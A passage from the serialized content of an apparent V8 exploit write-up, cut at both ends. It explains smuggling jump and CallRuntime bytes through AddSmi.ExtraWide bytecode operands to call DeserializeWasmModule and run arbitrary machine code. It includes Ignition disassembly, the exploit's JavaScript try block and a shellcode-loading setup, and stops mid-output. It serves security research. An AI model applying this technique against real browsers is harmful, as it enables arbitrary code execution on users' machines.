",{"type":23,"tag":458,"props":132656,"children":132659},{"href":132657,"rel":132658},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[462],[132660],{"type":28,"value":132661},"JIT-compiled functions",{"type":28,"value":18520},{"type":23,"tag":37,"props":132664,"children":132666},{"className":132665},[],[132667],{"type":28,"value":132648},{"type":28,"value":4579},{"type":23,"tag":37,"props":132670,"children":132672},{"className":132671},[],[132673],{"type":28,"value":132674},"SerializeWasmModule",{"type":28,"value":132676}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":458,"props":132678,"children":132681},{"href":132679,"rel":132680},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[462],[132682],{"type":28,"value":132683},"removed",{"type":28,"value":132685}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":24,"props":132687,"children":132688},{},[132689,132691,132697,132699,132705,132707,132712,132714,132720,132722,132727,132728,132733,132734,132739,132741,132747,132749,132753],{"type":28,"value":132690},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":37,"props":132692,"children":132694},{"className":132693},[],[132695],{"type":28,"value":132696},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":132698},"\nWhere ",{"type":23,"tag":37,"props":132700,"children":132702},{"className":132701},[],[132703],{"type":28,"value":132704},"func-id",{"type":28,"value":132706}," is a 2-byte function ID, ",{"type":23,"tag":37,"props":132708,"children":132710},{"className":132709},[],[132711],{"type":28,"value":38221},{"type":28,"value":132713}," is the index of the last register passed and ",{"type":23,"tag":37,"props":132715,"children":132717},{"className":132716},[],[132718],{"type":28,"value":132719},"argc",{"type":28,"value":132721}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":37,"props":132723,"children":132725},{"className":132724},[],[132726],{"type":28,"value":44375},{"type":28,"value":970},{"type":23,"tag":37,"props":132729,"children":132731},{"className":132730},[],[132732],{"type":28,"value":44518},{"type":28,"value":1361},{"type":23,"tag":37,"props":132735,"children":132737},{"className":132736},[],[132738],{"type":28,"value":44501},{"type":28,"value":132740}," would be encoded as ",{"type":23,"tag":37,"props":132742,"children":132744},{"className":132743},[],[132745],{"type":28,"value":132746},"\u003Cr2> \u003C3>",{"type":28,"value":132748},").\nThis requires ",{"type":23,"tag":2913,"props":132750,"children":132751},{},[132752],{"type":28,"value":18096},{"type":28,"value":132754}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":546,"props":132756,"children":132758},{"id":132757},"better-bytecode-control",[132759],{"type":28,"value":132760},"Better Bytecode Control",{"type":23,"tag":24,"props":132762,"children":132763},{},[132764,132766,132773,132775,132781],{"type":28,"value":132765},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":458,"props":132767,"children":132770},{"href":132768,"rel":132769},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[462],[132771],{"type":28,"value":132772},"feedback vector slot",{"type":28,"value":132774},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":37,"props":132776,"children":132778},{"className":132777},[],[132779],{"type":28,"value":132780},"AddSmi",{"type":28,"value":132782}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":24,"props":132784,"children":132785},{},[132786],{"type":28,"value":132787},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":31,"props":132789,"children":132791},{"code":132790},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[132792],{"type":23,"tag":37,"props":132793,"children":132794},{"__ignoreMap":7},[132795],{"type":28,"value":132790},{"type":23,"tag":24,"props":132797,"children":132798},{},[132799,132801,132807],{"type":28,"value":132800},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":37,"props":132802,"children":132804},{"className":132803},[],[132805],{"type":28,"value":132806},"AddSmi.ExtraWide",{"type":28,"value":132808},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":24,"props":132810,"children":132811},{},[132812],{"type":28,"value":132813},"Eventually, we can reach a stage like this:",{"type":23,"tag":31,"props":132815,"children":132817},{"code":132816},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[132818],{"type":23,"tag":37,"props":132819,"children":132820},{"__ignoreMap":7},[132821],{"type":28,"value":132816},{"type":23,"tag":24,"props":132823,"children":132824},{},[132825],{"type":28,"value":132826},"If you skip the first two bytes, you have",{"type":23,"tag":417,"props":132828,"children":132829},{},[132830,132861],{"type":23,"tag":421,"props":132831,"children":132832},{},[132833,132838,132840,132845,132847,132853,132855],{"type":23,"tag":37,"props":132834,"children":132836},{"className":132835},[],[132837],{"type":28,"value":132632},{"type":28,"value":132839}," (0x6c) to ",{"type":23,"tag":37,"props":132841,"children":132843},{"className":132842},[],[132844],{"type":28,"value":132648},{"type":28,"value":132846}," (0x0266) starting from register ",{"type":23,"tag":37,"props":132848,"children":132850},{"className":132849},[],[132851],{"type":28,"value":132852},"a2",{"type":28,"value":132854}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":37,"props":132856,"children":132858},{"className":132857},[],[132859],{"type":28,"value":132860},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":421,"props":132862,"children":132863},{},[132864],{"type":28,"value":132865},"a Jump instruction",{"type":23,"tag":546,"props":132867,"children":132869},{"id":132868},"returning-back-to-js",[132870],{"type":28,"value":132871},"Returning Back to JS",{"type":23,"tag":24,"props":132873,"children":132874},{},[132875,132877,132883],{"type":28,"value":132876},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":37,"props":132878,"children":132880},{"className":132879},[],[132881],{"type":28,"value":132882},"yield",{"type":28,"value":132884}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":24,"props":132886,"children":132887},{},[132888],{"type":28,"value":132889},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":31,"props":132891,"children":132893},{"code":132892,"language":31359,"meta":7,"className":31357,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[132894],{"type":23,"tag":37,"props":132895,"children":132896},{"__ignoreMap":7},[132897,132908,132956,132977,132993,133016,133044,133061],{"type":23,"tag":41,"props":132898,"children":132899},{"class":43,"line":44},[132900,132904],{"type":23,"tag":41,"props":132901,"children":132902},{"style":58},[132903],{"type":28,"value":48325},{"type":23,"tag":41,"props":132905,"children":132906},{"style":70},[132907],{"type":28,"value":102},{"type":23,"tag":41,"props":132909,"children":132910},{"class":43,"line":54},[132911,132916,132920,132925,132929,132934,132938,132943,132947,132951],{"type":23,"tag":41,"props":132912,"children":132913},{"style":858},[132914],{"type":28,"value":132915},"  $",{"type":23,"tag":41,"props":132917,"children":132918},{"style":70},[132919],{"type":28,"value":76613},{"type":23,"tag":41,"props":132921,"children":132922},{"style":735},[132923],{"type":28,"value":132924},"'a1 + 0xa931111;'",{"type":23,"tag":41,"props":132926,"children":132927},{"style":70},[132928],{"type":28,"value":706},{"type":23,"tag":41,"props":132930,"children":132931},{"style":114},[132932],{"type":28,"value":132933},"repeat",{"type":23,"tag":41,"props":132935,"children":132936},{"style":70},[132937],{"type":28,"value":1737},{"type":23,"tag":41,"props":132939,"children":132940},{"style":164},[132941],{"type":28,"value":132942},"0x059302",{"type":23,"tag":41,"props":132944,"children":132945},{"style":170},[132946],{"type":28,"value":51250},{"type":23,"tag":41,"props":132948,"children":132949},{"style":164},[132950],{"type":28,"value":167},{"type":23,"tag":41,"props":132952,"children":132953},{"style":70},[132954],{"type":28,"value":132955},")}\n",{"type":23,"tag":41,"props":132957,"children":132958},{"class":43,"line":76},[132959,132964,132968,132973],{"type":23,"tag":41,"props":132960,"children":132961},{"style":858},[132962],{"type":28,"value":132963},"  a1",{"type":23,"tag":41,"props":132965,"children":132966},{"style":170},[132967],{"type":28,"value":8901},{"type":23,"tag":41,"props":132969,"children":132970},{"style":164},[132971],{"type":28,"value":132972}," 0x0402666c",{"type":23,"tag":41,"props":132974,"children":132975},{"style":70},[132976],{"type":28,"value":183},{"type":23,"tag":41,"props":132978,"children":132979},{"class":43,"line":85},[132980,132984,132989],{"type":23,"tag":41,"props":132981,"children":132982},{"style":58},[132983],{"type":28,"value":35196},{"type":23,"tag":41,"props":132985,"children":132986},{"style":164},[132987],{"type":28,"value":132988}," 0x393e91a",{"type":23,"tag":41,"props":132990,"children":132991},{"style":70},[132992],{"type":28,"value":183},{"type":23,"tag":41,"props":132994,"children":132995},{"class":43,"line":105},[132996,133000,133004,133008,133012],{"type":23,"tag":41,"props":132997,"children":132998},{"style":70},[132999],{"type":28,"value":46867},{"type":23,"tag":41,"props":133001,"children":133002},{"style":58},[133003],{"type":28,"value":48405},{"type":23,"tag":41,"props":133005,"children":133006},{"style":70},[133007],{"type":28,"value":142},{"type":23,"tag":41,"props":133009,"children":133010},{"style":858},[133011],{"type":28,"value":51449},{"type":23,"tag":41,"props":133013,"children":133014},{"style":70},[133015],{"type":28,"value":152},{"type":23,"tag":41,"props":133017,"children":133018},{"class":43,"line":155},[133019,133023,133027,133031,133035,133040],{"type":23,"tag":41,"props":133020,"children":133021},{"style":858},[133022],{"type":28,"value":101662},{"type":23,"tag":41,"props":133024,"children":133025},{"style":70},[133026],{"type":28,"value":706},{"type":23,"tag":41,"props":133028,"children":133029},{"style":114},[133030],{"type":28,"value":101671},{"type":23,"tag":41,"props":133032,"children":133033},{"style":70},[133034],{"type":28,"value":1737},{"type":23,"tag":41,"props":133036,"children":133037},{"style":735},[133038],{"type":28,"value":133039},"\"foo\"",{"type":23,"tag":41,"props":133041,"children":133042},{"style":70},[133043],{"type":28,"value":3825},{"type":23,"tag":41,"props":133045,"children":133046},{"class":43,"line":186},[133047,133052,133057],{"type":23,"tag":41,"props":133048,"children":133049},{"style":58},[133050],{"type":28,"value":133051},"  yield",{"type":23,"tag":41,"props":133053,"children":133054},{"style":858},[133055],{"type":28,"value":133056}," a16",{"type":23,"tag":41,"props":133058,"children":133059},{"style":70},[133060],{"type":28,"value":183},{"type":23,"tag":41,"props":133062,"children":133063},{"class":43,"line":195},[133064],{"type":23,"tag":41,"props":133065,"children":133066},{"style":70},[133067],{"type":28,"value":201},{"type":23,"tag":24,"props":133069,"children":133070},{},[133071,133073],{"type":28,"value":133072},"Starting from the final ",{"type":23,"tag":37,"props":133074,"children":133076},{"className":133075},[],[133077],{"type":28,"value":132780},{"type":23,"tag":31,"props":133079,"children":133081},{"code":133080}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[133082],{"type":23,"tag":37,"props":133083,"children":133084},{"__ignoreMap":7},[133085],{"type":28,"value":133080},{"type":23,"tag":24,"props":133087,"children":133088},{},[133089,133091,133096,133098,133104],{"type":28,"value":133090},"The smuggled jump in ",{"type":23,"tag":37,"props":133092,"children":133094},{"className":133093},[],[133095],{"type":28,"value":132780},{"type":28,"value":133097}," will redirect us to ",{"type":23,"tag":37,"props":133099,"children":133101},{"className":133100},[],[133102],{"type":28,"value":133103},"1a e9 93 03",{"type":28,"value":133105},", which results in:",{"type":23,"tag":417,"props":133107,"children":133108},{},[133109,133120],{"type":23,"tag":421,"props":133110,"children":133111},{},[133112,133118],{"type":23,"tag":37,"props":133113,"children":133115},{"className":133114},[],[133116],{"type":28,"value":133117},"Star r16",{"type":28,"value":133119}," (store accumulator to r16)",{"type":23,"tag":421,"props":133121,"children":133122},{},[133123,133128],{"type":23,"tag":37,"props":133124,"children":133126},{"className":133125},[],[133127],{"type":28,"value":132550},{"type":28,"value":133129}," past the throw into the catch relevant code",{"type":23,"tag":24,"props":133131,"children":133132},{},[133133,133135,133141],{"type":28,"value":133134},"This will bring us nicely to the final ",{"type":23,"tag":37,"props":133136,"children":133138},{"className":133137},[],[133139],{"type":28,"value":133140},"yield a16",{"type":28,"value":133142},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":546,"props":133144,"children":133146},{"id":133145},"executing-shellcode",[133147],{"type":28,"value":133148},"Executing Shellcode",{"type":23,"tag":24,"props":133150,"children":133151},{},[133152],{"type":28,"value":133153},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":31,"props":133155,"children":133157},{"code":133156,"language":35610,"meta":7,"className":35608,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[133158],{"type":23,"tag":37,"props":133159,"children":133160},{"__ignoreMap":7},[133161,133191,133418,133486,133493,133538,133584,133624,133631,133655,133692,133728],{"type":23,"tag":41,"props":133162,"children":133163},{"class":43,"line":44},[133164,133168,133173,133177,133181,133186],{"type":23,"tag":41,"props":133165,"children":133166},{"style":64},[133167],{"type":28,"value":35041},{"type":23,"tag":41,"props":133169,"children":133170},{"style":858},[133171],{"type":28,"value":133172}," wasm_code",{"type":23,"tag":41,"props":133174,"children":133175},{"style":170},[133176],{"type":28,"value":3017},{"type":23,"tag":41,"props":133178,"children":133179},{"style":64},[133180],{"type":28,"value":31927},{"type":23,"tag":41,"props":133182,"children":133183},{"style":114},[133184],{"type":28,"value":133185}," Uint8Array",{"type":23,"tag":41,"props":133187,"children":133188},{"style":70},[133189],{"type":28,"value":133190},"([\n",{"type":23,"tag":41,"props":133192,"children":133193},{"class":43,"line":54},[133194,133199,133203,133208,133212,133217,133221,133226,133230,133234,133238,133242,133246,133250,133254,133258,133262,133266,133270,133274,133278,133282,133286,133291,133295,133299,133303,133307,133311,133315,133319,133323,133327,133331,133335,133339,133343,133347,133351,133355,133359,133363,133367,133371,133375,133379,133383,133388,133392,133397,133401,133406,133410,133414],{"type":23,"tag":41,"props":133195,"children":133196},{"style":164},[133197],{"type":28,"value":133198},"  0",{"type":23,"tag":41,"props":133200,"children":133201},{"style":70},[133202],{"type":28,"value":970},{"type":23,"tag":41,"props":133204,"children":133205},{"style":164},[133206],{"type":28,"value":133207},"97",{"type":23,"tag":41,"props":133209,"children":133210},{"style":70},[133211],{"type":28,"value":970},{"type":23,"tag":41,"props":133213,"children":133214},{"style":164},[133215],{"type":28,"value":133216},"115",{"type":23,"tag":41,"props":133218,"children":133219},{"style":70},[133220],{"type":28,"value":970},{"type":23,"tag":41,"props":133222,"children":133223},{"style":164},[133224],{"type":28,"value":133225},"109",{"type":23,"tag":41,"props":133227,"children":133228},{"style":70},[133229],{"type":28,"value":970},{"type":23,"tag":41,"props":133231,"children":133232},{"style":164},[133233],{"type":28,"value":317},{"type":23,"tag":41,"props":133235,"children":133236},{"style":70},[133237],{"type":28,"value":970},{"type":23,"tag":41,"props":133239,"children":133240},{"style":164},[133241],{"type":28,"value":4024},{"type":23,"tag":41,"props":133243,"children":133244},{"style":70},[133245],{"type":28,"value":970},{"type":23,"tag":41,"props":133247,"children":133248},{"style":164},[133249],{"type":28,"value":4024},{"type":23,"tag":41,"props":133251,"children":133252},{"style":70},[133253],{"type":28,"value":970},{"type":23,"tag":41,"props":133255,"children":133256},{"style":164},[133257],{"type":28,"value":4024},{"type":23,"tag":41,"props":133259,"children":133260},{"style":70},[133261],{"type":28,"value":970},{"type":23,"tag":41,"props":133263,"children":133264},{"style":164},[133265],{"type":28,"value":317},{"type":23,"tag":41,"props":133267,"children":133268},{"style":70},[133269],{"type":28,"value":970},{"type":23,"tag":41,"props":133271,"children":133272},{"style":164},[133273],{"type":28,"value":17515},{"type":23,"tag":41,"props":133275,"children":133276},{"style":70},[133277],{"type":28,"value":970},{"type":23,"tag":41,"props":133279,"children":133280},{"style":164},[133281],{"type":28,"value":317},{"type":23,"tag":41,"props":133283,"children":133284},{"style":70},[133285],{"type":28,"value":970},{"type":23,"tag":41,"props":133287,"children":133288},{"style":164},[133289],{"type":28,"value":133290},"96",{"type":23,"tag":41,"props":133292,"children":133293},{"style":70},[133294],{"type":28,"value":970},{"type":23,"tag":41,"props":133296,"children":133297},{"style":164},[133298],{"type":28,"value":4024},{"type":23,"tag":41,"props":133300,"children":133301},{"style":70},[133302],{"type":28,"value":970},{"type":23,"tag":41,"props":133304,"children":133305},{"style":164},[133306],{"type":28,"value":4024},{"type":23,"tag":41,"props":133308,"children":133309},{"style":70},[133310],{"type":28,"value":970},{"type":23,"tag":41,"props":133312,"children":133313},{"style":164},[133314],{"type":28,"value":17282},{"type":23,"tag":41,"props":133316,"children":133317},{"style":70},[133318],{"type":28,"value":970},{"type":23,"tag":41,"props":133320,"children":133321},{"style":164},[133322],{"type":28,"value":3123},{"type":23,"tag":41,"props":133324,"children":133325},{"style":70},[133326],{"type":28,"value":970},{"type":23,"tag":41,"props":133328,"children":133329},{"style":164},[133330],{"type":28,"value":317},{"type":23,"tag":41,"props":133332,"children":133333},{"style":70},[133334],{"type":28,"value":970},{"type":23,"tag":41,"props":133336,"children":133337},{"style":164},[133338],{"type":28,"value":4024},{"type":23,"tag":41,"props":133340,"children":133341},{"style":70},[133342],{"type":28,"value":970},{"type":23,"tag":41,"props":133344,"children":133345},{"style":164},[133346],{"type":28,"value":54666},{"type":23,"tag":41,"props":133348,"children":133349},{"style":70},[133350],{"type":28,"value":970},{"type":23,"tag":41,"props":133352,"children":133353},{"style":164},[133354],{"type":28,"value":55881},{"type":23,"tag":41,"props":133356,"children":133357},{"style":70},[133358],{"type":28,"value":970},{"type":23,"tag":41,"props":133360,"children":133361},{"style":164},[133362],{"type":28,"value":317},{"type":23,"tag":41,"props":133364,"children":133365},{"style":70},[133366],{"type":28,"value":970},{"type":23,"tag":41,"props":133368,"children":133369},{"style":164},[133370],{"type":28,"value":18096},{"type":23,"tag":41,"props":133372,"children":133373},{"style":70},[133374],{"type":28,"value":970},{"type":23,"tag":41,"props":133376,"children":133377},{"style":164},[133378],{"type":28,"value":133216},{"type":23,"tag":41,"props":133380,"children":133381},{"style":70},[133382],{"type":28,"value":970},{"type":23,"tag":41,"props":133384,"children":133385},{"style":164},[133386],{"type":28,"value":133387},"104",{"type":23,"tag":41,"props":133389,"children":133390},{"style":70},[133391],{"type":28,"value":970},{"type":23,"tag":41,"props":133393,"children":133394},{"style":164},[133395],{"type":28,"value":133396},"101",{"type":23,"tag":41,"props":133398,"children":133399},{"style":70},[133400],{"type":28,"value":970},{"type":23,"tag":41,"props":133402,"children":133403},{"style":164},[133404],{"type":28,"value":133405},"108",{"type":23,"tag":41,"props":133407,"children":133408},{"style":70},[133409],{"type":28,"value":970},{"type":23,"tag":41,"props":133411,"children":133412},{"style":164},[133413],{"type":28,"value":133405},{"type":23,"tag":41,"props":133415,"children":133416},{"style":70},[133417],{"type":28,"value":3506},{"type":23,"tag":41,"props":133419,"children":133420},{"class":43,"line":76},[133421,133425,133429,133433,133437,133441,133445,133449,133453,133457,133461,133465,133469,133473,133477,133482],{"type":23,"tag":41,"props":133422,"children":133423},{"style":164},[133424],{"type":28,"value":133198},{"type":23,"tag":41,"props":133426,"children":133427},{"style":70},[133428],{"type":28,"value":970},{"type":23,"tag":41,"props":133430,"children":133431},{"style":164},[133432],{"type":28,"value":4024},{"type":23,"tag":41,"props":133434,"children":133435},{"style":70},[133436],{"type":28,"value":970},{"type":23,"tag":41,"props":133438,"children":133439},{"style":164},[133440],{"type":28,"value":89247},{"type":23,"tag":41,"props":133442,"children":133443},{"style":70},[133444],{"type":28,"value":970},{"type":23,"tag":41,"props":133446,"children":133447},{"style":164},[133448],{"type":28,"value":17515},{"type":23,"tag":41,"props":133450,"children":133451},{"style":70},[133452],{"type":28,"value":970},{"type":23,"tag":41,"props":133454,"children":133455},{"style":164},[133456],{"type":28,"value":317},{"type":23,"tag":41,"props":133458,"children":133459},{"style":70},[133460],{"type":28,"value":970},{"type":23,"tag":41,"props":133462,"children":133463},{"style":164},[133464],{"type":28,"value":3123},{"type":23,"tag":41,"props":133466,"children":133467},{"style":70},[133468],{"type":28,"value":970},{"type":23,"tag":41,"props":133470,"children":133471},{"style":164},[133472],{"type":28,"value":4024},{"type":23,"tag":41,"props":133474,"children":133475},{"style":70},[133476],{"type":28,"value":970},{"type":23,"tag":41,"props":133478,"children":133479},{"style":164},[133480],{"type":28,"value":133481},"11",{"type":23,"tag":41,"props":133483,"children":133484},{"style":70},[133485],{"type":28,"value":3506},{"type":23,"tag":41,"props":133487,"children":133488},{"class":43,"line":85},[133489],{"type":23,"tag":41,"props":133490,"children":133491},{"style":70},[133492],{"type":28,"value":3751},{"type":23,"tag":41,"props":133494,"children":133495},{"class":43,"line":105},[133496,133500,133504,133508,133512,133517,133521,133525,133529,133534],{"type":23,"tag":41,"props":133497,"children":133498},{"style":64},[133499],{"type":28,"value":35041},{"type":23,"tag":41,"props":133501,"children":133502},{"style":858},[133503],{"type":28,"value":71619},{"type":23,"tag":41,"props":133505,"children":133506},{"style":170},[133507],{"type":28,"value":3017},{"type":23,"tag":41,"props":133509,"children":133510},{"style":64},[133511],{"type":28,"value":31927},{"type":23,"tag":41,"props":133513,"children":133514},{"style":858},[133515],{"type":28,"value":133516}," WebAssembly",{"type":23,"tag":41,"props":133518,"children":133519},{"style":70},[133520],{"type":28,"value":706},{"type":23,"tag":41,"props":133522,"children":133523},{"style":114},[133524],{"type":28,"value":85913},{"type":23,"tag":41,"props":133526,"children":133527},{"style":70},[133528],{"type":28,"value":1737},{"type":23,"tag":41,"props":133530,"children":133531},{"style":858},[133532],{"type":28,"value":133533},"wasm_code",{"type":23,"tag":41,"props":133535,"children":133536},{"style":70},[133537],{"type":28,"value":3825},{"type":23,"tag":41,"props":133539,"children":133540},{"class":43,"line":155},[133541,133545,133550,133554,133558,133562,133566,133571,133575,133580],{"type":23,"tag":41,"props":133542,"children":133543},{"style":64},[133544],{"type":28,"value":35041},{"type":23,"tag":41,"props":133546,"children":133547},{"style":858},[133548],{"type":28,"value":133549}," inst",{"type":23,"tag":41,"props":133551,"children":133552},{"style":170},[133553],{"type":28,"value":3017},{"type":23,"tag":41,"props":133555,"children":133556},{"style":64},[133557],{"type":28,"value":31927},{"type":23,"tag":41,"props":133559,"children":133560},{"style":858},[133561],{"type":28,"value":133516},{"type":23,"tag":41,"props":133563,"children":133564},{"style":70},[133565],{"type":28,"value":706},{"type":23,"tag":41,"props":133567,"children":133568},{"style":114},[133569],{"type":28,"value":133570},"Instance",{"type":23,"tag":41,"props":133572,"children":133573},{"style":70},[133574],{"type":28,"value":1737},{"type":23,"tag":41,"props":133576,"children":133577},{"style":858},[133578],{"type":28,"value":133579},"mod",{"type":23,"tag":41,"props":133581,"children":133582},{"style":70},[133583],{"type":28,"value":3825},{"type":23,"tag":41,"props":133585,"children":133586},{"class":43,"line":186},[133587,133591,133595,133599,133603,133607,133611,133615,133620],{"type":23,"tag":41,"props":133588,"children":133589},{"style":64},[133590],{"type":28,"value":35041},{"type":23,"tag":41,"props":133592,"children":133593},{"style":858},[133594],{"type":28,"value":80004},{"type":23,"tag":41,"props":133596,"children":133597},{"style":170},[133598],{"type":28,"value":3017},{"type":23,"tag":41,"props":133600,"children":133601},{"style":858},[133602],{"type":28,"value":133549},{"type":23,"tag":41,"props":133604,"children":133605},{"style":70},[133606],{"type":28,"value":706},{"type":23,"tag":41,"props":133608,"children":133609},{"style":858},[133610],{"type":28,"value":37881},{"type":23,"tag":41,"props":133612,"children":133613},{"style":70},[133614],{"type":28,"value":706},{"type":23,"tag":41,"props":133616,"children":133617},{"style":858},[133618],{"type":28,"value":133619},"shell",{"type":23,"tag":41,"props":133621,"children":133622},{"style":70},[133623],{"type":28,"value":183},{"type":23,"tag":41,"props":133625,"children":133626},{"class":43,"line":195},[133627],{"type":23,"tag":41,"props":133628,"children":133629},{"emptyLinePlaceholder":18},[133630],{"type":28,"value":82},{"type":23,"tag":41,"props":133632,"children":133633},{"class":43,"line":905},[133634,133638,133643,133647,133651],{"type":23,"tag":41,"props":133635,"children":133636},{"style":170},[133637],{"type":28,"value":56384},{"type":23,"tag":41,"props":133639,"children":133640},{"style":114},[133641],{"type":28,"value":133642},"WasmTierUpFunction",{"type":23,"tag":41,"props":133644,"children":133645},{"style":70},[133646],{"type":28,"value":1737},{"type":23,"tag":41,"props":133648,"children":133649},{"style":858},[133650],{"type":28,"value":76295},{"type":23,"tag":41,"props":133652,"children":133653},{"style":70},[133654],{"type":28,"value":3825},{"type":23,"tag":41,"props":133656,"children":133657},{"class":43,"line":922},[133658,133662,133667,133671,133676,133680,133684,133688],{"type":23,"tag":41,"props":133659,"children":133660},{"style":64},[133661],{"type":28,"value":35041},{"type":23,"tag":41,"props":133663,"children":133664},{"style":858},[133665],{"type":28,"value":133666}," serialized",{"type":23,"tag":41,"props":133668,"children":133669},{"style":170},[133670],{"type":28,"value":3017},{"type":23,"tag":41,"props":133672,"children":133673},{"style":170},[133674],{"type":28,"value":133675}," %",{"type":23,"tag":41,"props":133677,"children":133678},{"style":114},[133679],{"type":28,"value":132674},{"type":23,"tag":41,"props":133681,"children":133682},{"style":70},[133683],{"type":28,"value":1737},{"type":23,"tag":41,"props":133685,"children":133686},{"style":858},[133687],{"type":28,"value":133579},{"type":23,"tag":41,"props":133689,"children":133690},{"style":70},[133691],{"type":28,"value":3825},{"type":23,"tag":41,"props":133693,"children":133694},{"class":43,"line":930},[133695,133699,133703,133707,133711,133715,133719,133724],{"type":23,"tag":41,"props":133696,"children":133697},{"style":64},[133698],{"type":28,"value":11784},{"type":23,"tag":41,"props":133700,"children":133701},{"style":858},[133702],{"type":28,"value":9157},{"type":23,"tag":41,"props":133704,"children":133705},{"style":170},[133706],{"type":28,"value":3017},{"type":23,"tag":41,"props":133708,"children":133709},{"style":64},[133710],{"type":28,"value":31927},{"type":23,"tag":41,"props":133712,"children":133713},{"style":114},[133714],{"type":28,"value":133185},{"type":23,"tag":41,"props":133716,"children":133717},{"style":70},[133718],{"type":28,"value":1737},{"type":23,"tag":41,"props":133720,"children":133721},{"style":858},[133722],{"type":28,"value":133723},"serialized",{"type":23,"tag":41,"props":133725,"children":133726},{"style":70},[133727],{"type":28,"value":3825},{"type":23,"tag":41,"props":133729,"children":133730},{"class":43,"line":939},[133731,133736,133740,133744,133748,133753,133757,133761,133765,133770,133774,133779,133783,133787,133792],{"type":23,"tag":41,"props":133732,"children":133733},{"style":858},[133734],{"type":28,"value":133735},"console",{"type":23,"tag":41,"props":133737,"children":133738},{"style":70},[133739],{"type":28,"value":706},{"type":23,"tag":41,"props":133741,"children":133742},{"style":114},[133743],{"type":28,"value":101671},{"type":23,"tag":41,"props":133745,"children":133746},{"style":70},[133747],{"type":28,"value":1737},{"type":23,"tag":41,"props":133749,"children":133750},{"style":735},[133751],{"type":28,"value":133752},"'['",{"type":23,"tag":41,"props":133754,"children":133755},{"style":170},[133756],{"type":28,"value":8901},{"type":23,"tag":41,"props":133758,"children":133759},{"style":858},[133760],{"type":28,"value":9157},{"type":23,"tag":41,"props":133762,"children":133763},{"style":70},[133764],{"type":28,"value":706},{"type":23,"tag":41,"props":133766,"children":133767},{"style":114},[133768],{"type":28,"value":133769},"join",{"type":23,"tag":41,"props":133771,"children":133772},{"style":70},[133773],{"type":28,"value":1737},{"type":23,"tag":41,"props":133775,"children":133776},{"style":735},[133777],{"type":28,"value":133778},"', '",{"type":23,"tag":41,"props":133780,"children":133781},{"style":70},[133782],{"type":28,"value":866},{"type":23,"tag":41,"props":133784,"children":133785},{"style":170},[133786],{"type":28,"value":4383},{"type":23,"tag":41,"props":133788,"children":133789},{"style":735},[133790],{"type":28,"value":133791}," ']'",{"type":23,"tag":41,"props":133793,"children":133794},{"style":70},[133795],{"type":28,"value":3825},{"type":23,"tag":24,"props":133797,"children":133798},{},[133799],{"type":28,"value":133800},"This produces the following output:",{"type":23,"tag":31,"props":133802,"children":133804},{"code":133803},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 